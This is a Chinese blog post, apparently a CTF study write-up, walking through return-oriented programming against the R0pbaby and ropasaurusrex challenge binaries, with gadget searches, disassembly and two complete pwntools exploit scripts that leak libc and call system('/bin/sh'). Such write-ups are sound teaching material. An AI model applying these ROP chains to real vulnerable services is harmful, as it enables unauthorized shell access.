Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

基础栈溢出复习 二 之 ROP

2017-03-19 Updated on 2020-02-17 Summary

Table of Contents

  1. CTF中ROP的常规套路:
  2. Defcon 2015 Qualifier:R0pbaby
  3. 如何找到 pop rdi
  4. PlaidCTF 2013: ropasaurusrex
  • 上面的内容来自蒸米 -一步一步 rop
  • 现代栈溢出利用技术基础:ROP

    承接上一个篇目,这里继续讲ROP的一些题目分析。讲真的,我这里基本上的题目以及攻击方式都来自于Atum师傅在X-MAN的PPT。

    CTF中ROP的常规套路:
    • 第一次触发漏洞,通过ROP泄漏libc的address(如puts_got),计算system地址,然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)
    • 直接execve(“/bin/sh”, [“/bin/sh”], NULL),通常在静态链接时比较常用
      三个练习:
    • Defcon 2015 Qualifier:R0pbaby
    • AliCTF 2016:vss
    • PlaidCTF 2013: ropasaurusrex
      相关题目我们可以在CTFs上找到。
      Defcon 2015 Qualifier:R0pbaby

    我们拿到题目,可以先对题目进行检查,可先看看题目开启的保护

    1
    2
    3
    4
    5
    6
    gdb-peda$ checksec
    CANARY : disabled
    FORTIFY : ENABLED
    NX : ENABLED
    PIE : disabled
    RELRO : disabled

    gdb-peda 自带的 checksec 有检测程序是否开启保护,以及所开启的保护。我们可以看到,R0pbaby 所开启的保护有FORTIFY以及NX,这里我们主要所收到的限制是栈上写入的数据不可执行。
    以及,程序可以知道是64位的,它的传参优先由寄存器完成。
    接着,我们应该了解程序的流程,以及找到程序的漏洞,以及思考其利用方式。

    *尝试运行程序

    我们去尝试运行,摸清了基本上的程序的功能。

    1. 功能1,可以获得libc的基址
    2. 功能2,可以获得函数的地址
    3. 功能3,输入的地方,感觉这个地方可能存在漏洞。

    紧接着,我们可以用IDA 分析程序了。

    发现一个函数的不适当应用,拷贝的过程中没有判断大小,可能造成缓冲区溢出。


    函数原型
    void * memcpy(void*dest, const void * src, size_t n);
    由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。


    savedregs是一个IDA关键字,我们可以看到 保存的堆栈帧指针和函数返回地址:在IDA中,我们可以直接单击它。

    buf的大小应该是8没错,之后可能造成缓冲区溢出,那么我的解题思路大概是如下:

    1. 我们需要找到一个gadget RDI 用来起shell
    2. 其次我们需要找到 “bin/sh”的地址
    3. 最后,我们需要找到system函数的地址

    完成上面三个步骤,我们就可以去构造我们的ROP链来getshell。

    如何找到 pop rdi

    我们需要找到:

    1
    2
    pop rdi
    ret

    如此的指令,
    我们可以通过简单的objdump来寻找简单的gadget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    wings@sw:~/桌面/Rop$ python ROPgadget.py --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
    Gadgets information
    0x00000000000206c1 : pop rbp ; pop r12 ; pop r13 ; ret
    0x00000000000b5a23 : pop rbp ; pop r12 ; pop r14 ; ret
    0x000000000001fb11 : pop rbp ; pop r12 ; ret
    0x000000000012bf16 : pop rbp ; pop r13 ; pop r14 ; ret
    0x0000000000020252 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
    0x00000000000210fe : pop rbp ; pop r14 ; pop r15 ; ret
    0x00000000000ccb05 : pop rbp ; pop r14 ; pop rbp ; ret
    0x00000000000202e6 : pop rbp ; pop r14 ; ret
    0x000000000006d128 : pop rbp ; pop rbp ; ret
    0x0000000000048438 : pop rbp ; pop rbx ; ret
    0x000000000001f930 : pop rbp ; ret
    0x00000000000ccb01 : pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret
    0x000000000006d124 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
    0x00000000000398c5 : pop rbx ; pop r12 ; pop rbp ; ret
    0x00000000000202e1 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
    0x00000000000206c0 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
    0x00000000000b5a22 : pop rbx ; pop rbp ; pop r12 ; pop r14 ; ret
    0x000000000001fb10 : pop rbx ; pop rbp ; pop r12 ; ret
    0x000000000012bf15 : pop rbx ; pop rbp ; pop r13 ; pop r14 ; ret
    0x000000000001f92f : pop rbx ; pop rbp ; ret
    0x000000000002a69a : pop rbx ; ret
    0x0000000000001b18 : pop rbx ; ret 0x2a63
    0x0000000000185240 : pop rbx ; ret 0x6f9
    0x000000000013c01f : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
    0x000000000010134b : pop rcx ; pop rbx ; pop rbp ; pop r12 ; ret
    0x00000000000e9aba : pop rcx ; pop rbx ; ret
    0x0000000000001b17 : pop rcx ; pop rbx ; ret 0x2a63
    0x00000000000fc3e2 : pop rcx ; ret
    0x0000000000020256 : pop rdi ; pop rbp ; ret
    0x0000000000021102 : pop rdi ; ret

    因为是本地测试,所以我先查看自己本地的libc.so.6
    确认libc.so.6

    1
    2
    3
    4
    5
    wings@sw:~/桌面/Rop$ ldd r0pbaby
    linux-vdso.so.1 => (0x00007ffff7ffd000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd9000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7810000)
    /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)
    1
    2
    wings@sw:~/桌面/Rop$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
    18c177 /bin/sh

    可以知道 偏移是0x18c177

    至于sytem函数,程序的第二个功能已经给我们了,至此,我们可以开始构造我们的exp了.

    system = 0x00007FFFF784F390 #get_libc_base()
    rdi_gadget_offset = 0x21102
    bin_sh_offset = 0x18c177
    system_offset = 0x45390

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    from pwn import *


    debug =1
    if debug ==1:
    io = process("./r0pbaby")
    else:
    io = remote("127.0.0.1",10002)
    #db.attach(io)

    system = 0x00007FFFF784F390#get_libc_base()
    rdi_gadget_offset = 0x21102
    bin_sh_offset = 0x18c177
    system_offset = 0x45390
    libc_base = system - system_offset # system addr - system_offset = libc_base
    print "[+] libc base: [%x]" % libc_base
    rdi_gadget_addr = libc_base + rdi_gadget_offset
    print "[+] RDI gadget addr: [%x]" % rdi_gadget_addr
    bin_sh_addr = libc_base + bin_sh_offset
    print "[+] \"/bin/sh\" addr: [%x]" % bin_sh_addr
    system_addr = 0x00007FFFF784F390#get_libc_func_addr(h, "system")
    print "[+] system addr: [%x]" % system_addr

    payload = "A"*8
    payload += p64(rdi_gadget_addr)
    payload += p64(bin_sh_addr)
    payload += p64(system_addr)

    io.recv(1024)
    io.sendline("3")
    io.recv(1024)
    io.send("%d\n"%(len(payload)+1))
    io.sendline(payload)
    io.sendline("4")

    io.interactive()

    至此 一个简单的64位程序 ROP Pwn题完成!!撒花 撒花~

    PlaidCTF 2013: ropasaurusrex

    上一个程序简单的调用 system + “bin/sh” 通过寄存器 gadget “pop rdi;ret “传参起shell,接着我们来完成第二个pwn,第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。

    依旧是老三套,我们先分析一下程序开启的保护。

    1
    2
    3
    4
    5
    6
    gdb-peda$ checksec
    CANARY : disabled
    FORTIFY : disabled
    NX : ENABLED
    PIE : disabled
    RELRO : disabled

    只开了NX 其他的都没开,我们可以应用ret2libc 的攻击方式来获取shell,所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开,一边分析题目流程,一边找题目漏洞。

    1
    2
    3
    4
    5
    6
    int __cdecl main()
    {
    sub_80483F4();
    return write(1, "WIN\n", 4u);
    }

    sub_80483F4

    1
    2
    3
    4
    5
    6
    ssize_t sub_80483F4()
    {
    char buf; // [sp+10h] [bp-88h]@1

    return read(0, &buf, 0x100u);
    }

    很清晰,我们可以看到题目流程非常简单,就读取一定字节,然后直接打印WIN\n。紧接着,我们可以看到read函数被错误使用,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    .text:080483F2 ; ---------------------------------------------------------------------------
    .text:080483F3 align 4
    .text:080483F4
    .text:080483F4 ; =============== S U B R O U T I N E =======================================
    .text:080483F4
    .text:080483F4 ; Attributes: bp-based frame
    .text:080483F4
    .text:080483F4 sub_80483F4 proc near ; CODE XREF: main+9p
    .text:080483F4
    .text:080483F4 buf = byte ptr -88h
    .text:080483F4
    .text:080483F4 push ebp
    .text:080483F5 mov ebp, esp
    .text:080483F7 sub esp, 98h
    .text:080483FD mov dword ptr [esp+8], 100h ; nbytes
    .text:08048405 lea eax, [ebp+buf]
    .text:0804840B mov [esp+4], eax ; buf
    .text:0804840F mov dword ptr [esp], 0 ; fd
    .text:08048416 call _read
    .text:0804841B leave
    .text:0804841C retn
    .text:0804841C sub_80483F4 endp
    .text:0804841C
    .text:0804841

    buf大小只有0x88,但是却允许被读入0x100的字节大小,这明显可以造成缓冲区溢出。

    1
    2
    wings@sw:~/桌面/Rop$ file ./ropasaurusrex
    ./ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped

    我们还知道的一点是,程序是32位,所以我们不需要像第一个题那样去找寄存器 gadget。
    在main函数中有一个write函数,我们可以通过rop,来进行信息泄漏。所以攻击思大概是:

    1. 构造payload leak 内存中的一个函数地址,比如 read()
    2. 计算libc base
    3. 构造payload get shell
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    from pwn import *
    debug = 1
    elf = ELF('./ropasaurusrex')
    if debug == 1:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    else:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    bof = 0x80483f4 # the vulnerable function
    buffer_len = 0x88

    context.log_level = 'debug'
    #p = remote(args.host, args.port)
    #p = process('./ropasaurusrex')
    p = remote('127.0.0.1',10002)
    payload = ''
    payload += 'A' * buffer_len
    payload += 'AAAA' # saved ebp
    payload += p32(elf.symbols['write'])
    payload += p32(bof)
    payload += p32(1) # stdout
    payload += p32(elf.got['read'])
    payload += p32(4) # len
    p.send(payload)
    resp = p.recvn(4)
    read = u32(resp)
    libc_base = read - libc.symbols['read']

    payload = ''
    payload += 'A' * buffer_len
    payload += 'AAAA' # saved ebp
    payload += p32(libc_base + libc.symbols['system'])
    payload += 'AAAA' # cont
    payload += p32(libc_base + next(libc.search('/bin/sh')))
    p.send(payload)

    p.sendline('ls')
    p.interactive()

    小结一下:
    read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

    上面的内容来自蒸米 -一步一步 rop

    做了两个简单的rop 第一个的64位,第二个是32位,基本上 也能体会到两者的区别了,一者是寄存器传参,一者是栈传参。至于AliCTF的vsvs ,我没找到Bin程序,所以这里就不单独分析了。我们看看别人的wp,例如链接https://segmentfault.com/a/1190000005718685

    下一个内容准备学习 VROP,一种利用signal机制的ROP技术。

    分类: Summary
    标签: pwn
    ← Prev 基础栈溢出复习 三 之 SROP
    Next → 基础栈溢出复习 之基础

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom